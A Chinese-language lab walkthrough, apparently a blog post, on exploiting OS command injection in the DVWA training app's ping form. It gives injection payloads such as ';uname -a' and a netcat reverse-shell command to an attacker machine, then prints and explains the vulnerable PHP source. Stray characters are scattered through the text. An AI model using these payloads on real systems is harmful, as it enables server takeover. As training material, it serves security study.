前文中晌杰,PHP的 system( ) 方法可以在服務(wù)器上執(zhí)行操作系統(tǒng)命令缀遍,開發(fā)者有時(shí)候也會用同樣的方法,實(shí)現(xiàn)一些特殊的功能,如Ping功能服務(wù)阅仔,在Web頁面吹散,用戶可能通過添加非法輸入,就可以在服務(wù)器執(zhí)行附加惡意系統(tǒng)命令
下面八酒,演示如何利用命令注入漏洞獲取服務(wù)器的敏感信息
實(shí)踐
登陸到 Damn Vulnerable Web Application (DVWA)空民,調(diào)整安全級別為low,然后跳轉(zhuǎn)到頁面 Command Execution
-
如圖羞迷,表單 Ping for FREE 界轩,輸入192.168.150.148 ( Kali 測試機(jī)的IP地址)
輸出看起來就像是我們直接在服務(wù)器上執(zhí)行 Ping 命令一樣,因此衔瓮,這里我們判斷為一個 OS 命令注入點(diǎn) 我們嘗試著注入一個簡單的系統(tǒng)命令浊猾,提交如下內(nèi)容:
192.168.150.148;uname -a
如圖,uname命令的執(zhí)行結(jié)果輸出打掃ping命令的結(jié)果之后了报辱。這就是一個命令劫持漏洞与殃。
- 也可以試試不加IP地址,直接輸入如下內(nèi)容:
;uname -a
- 然后碍现,我們來獲取一個服務(wù)器的reverse shell幅疼;首先,我們要確定服務(wù)器上有我們需要的軟件環(huán)境昼接,提交如下語句:
ls /bin/nc*
這里我們查到了不同版本的 NetCat(OpenBSD 版本的 nc 不支持在連接中執(zhí)行命令爽篷,因此我們使用traditional版本),下面使用這個工具來連接靶機(jī)到攻擊機(jī)上
- 在Kali攻擊機(jī)上啟用一個nc連接監(jiān)聽端口:
nc -lp 1691 -v
- 回到瀏覽器慢睡,輸入以下命令逐工,提交:
;nc.traditional -e /bin/bash 192.168.56.1 1691 &
Kail終端會受到連接請求,并建立連接漂辐,現(xiàn)在泪喊,就可以隨意在服務(wù)器上執(zhí)行命令并獲取輸出了
總結(jié)
類似 SQL 注入漏洞,命令注入漏洞也是因?yàn)闆]有對輸入?yún)?shù)進(jìn)行充分的校驗(yàn)造成的髓涯。如果查看袒啼,我們剛剛攻擊頁面的后臺源碼(DVWA頁面右下角有個按鈕),我們會看到如下內(nèi)容:
<?php
if( isset( $_POST[ 'submit' ] ) ) {
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if (stristr(php_uname('s'), 'Windows NT')) {
$cmd = shell_exec( 'ping ' . $target );
echo '<pre>'.$cmd.'</pre>';
} else {
$cmd = shell_exec( 'ping -c 3 ' . $target );
echo '<pre>'.$cmd.'</pre>';
}
}
?>
我們看到纬纪,它直接拼接用戶輸入到 ping 命令中蚓再,我們所做的只是加了個分號,這樣shell解釋器就把分號前后兩條命令順序解釋執(zhí)行了包各,分后后面的摘仅,就是我們真實(shí)想要執(zhí)行的代碼
成功執(zhí)行命令后,下一步檢查服務(wù)器上是否有 NetCat问畅,這個工具可以幫助我們給兩臺機(jī)器建立連接娃属,前面我們發(fā)現(xiàn)六荒,服務(wù)器又兩個不同版本的 NetCat ,這里執(zhí)行支持建立連接的那個
當(dāng)設(shè)置Kali攻擊機(jī)監(jiān)聽 TCP 的 1691 端口(可以是任意端口)后膳犹,我們在靶機(jī)服務(wù)器執(zhí)行命令恬吕,用于跟Kali機(jī)器建立連接并執(zhí)行 /bin/bash签则,如此就可以在靶機(jī)服務(wù)器輸入任意命令了
在命令后添加符號“ & ”可以在后臺執(zhí)行命令须床,因?yàn)椋琍HP腳本會一直等一條命令的響應(yīng)